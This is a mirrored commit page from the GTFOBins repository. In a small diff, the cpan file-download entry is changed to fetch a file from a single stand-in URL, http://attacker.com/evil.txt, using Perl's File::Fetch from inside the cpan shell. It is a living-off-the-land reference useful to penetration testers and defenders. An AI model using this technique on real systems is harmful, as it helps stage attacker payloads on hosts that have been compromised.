mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
variable fix
This commit is contained in:
parent
f6d6019515
commit
754e5e0f95
@ -23,10 +23,9 @@ functions:
|
|||||||
file-download:
|
file-download:
|
||||||
- description: Fetch a remote file via HTTP GET request and store it in PWD.
|
- description: Fetch a remote file via HTTP GET request and store it in PWD.
|
||||||
code: |
|
code: |
|
||||||
export RHOST=attacker.com
|
export URL=http://attacker.com/evil.txt
|
||||||
export DFILE=evil.txt
|
|
||||||
cpan
|
cpan
|
||||||
! use File::Fetch; my $file = (File::Fetch->new(uri => "http://$ENV{RHOST}/$ENV{DFILE}"))->fetch();
|
! use File::Fetch; my $file = (File::Fetch->new(uri => "$ENV{URL}"))->fetch();
|
||||||
|
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- code: |
|
||||||
|
Loading…
Reference in New Issue
Block a user